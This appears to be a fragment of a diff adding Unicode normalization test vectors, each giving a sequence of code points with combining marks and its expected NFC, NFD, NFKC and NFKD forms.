+{ source: [0x0061, 0x11236, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x112E9, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062] },
+{ source: [0x0061, 0x112E9, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x112EA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x112EA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1133B, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1133B, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1133C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1133C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1134D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1134D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11366, 0x0062], NFC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11367, 0x0062], NFC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11368, 0x0062], NFC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11369, 0x0062], NFC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11370, 0x0062], NFC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11370, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11371, 0x0062], NFC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11371, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11372, 0x0062], NFC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11372, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11373, 0x0062], NFC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11373, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11374, 0x0062], NFC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11374, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11442, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11442, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11446, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11446, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1145E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1145E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1145E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1145E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1145E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1145E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x114C2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x114C2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x114C3, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062] },
+{ source: [0x0061, 0x114C3, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x115BF, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x115BF, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x115C0, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062] },
+{ source: [0x0061, 0x115C0, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1163F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1163F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x116B6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x116B6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x116B7, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062] },
+{ source: [0x0061, 0x116B7, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1172B, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1172B, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11839, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11839, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1183A, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1183A, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1193D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1193D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1193E, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1193E, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11943, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11943, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x119E0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x119E0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A34, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062] },
